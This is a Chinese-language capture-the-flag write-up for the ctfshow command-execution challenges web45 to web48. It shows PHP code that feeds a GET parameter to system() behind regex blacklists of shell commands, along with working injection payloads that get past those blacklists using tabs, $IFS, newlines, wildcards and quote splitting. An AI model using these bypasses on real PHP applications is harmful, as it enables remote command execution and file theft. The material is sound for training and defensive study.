ctfshow-web命令執行(web45-59)(Updating)
阿新 • • 發佈:2021-11-23
PHP是世界上最好的語言!
ctfshow-web命令執行(web45-59)(Updating)
目錄web45 &&等於; tab等於space
題目描述
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| /i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
題目分析
觀察程式碼,多過濾了分號與空格,考慮用&&代替分號(&&代表執行兩個命令,讓後面的命令進入黑洞),用tab製表符代替空格
payload
解法1->url/?c=tac%09fla?.php%26%26ls
解法2->url/?c=echo$IFS`tac$IFS*`%0A
$IFS代表shell裡面的空格
解法3->url/?c=tac%09fla?.php%0a
web46 過濾數字*$
題目描述
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
題目分析
分析原始碼,多過濾了* $ 數字,因此上題的payload均可用
payload
解法1->url/?c=tac%09fla?.php%26%26ls
解法2->url/?c=echo$IFS`tac$IFS*`%0A
解法3->url/?c=tac%09fla?.php%0a
web47 <等於空格 ||解決黑洞
題目描述
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
題目分析
多過濾了一些字元,沒有絲毫影響
payload
解法一二三上同
解法四->nl<fla''g.php||
nl檢視原始碼,<代替空格,''分割flag過濾,||解決命令黑洞
web48 沒什麼軟用
題目描述
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
題目分析
多過濾了字元,但絲毫不影響
payload
上同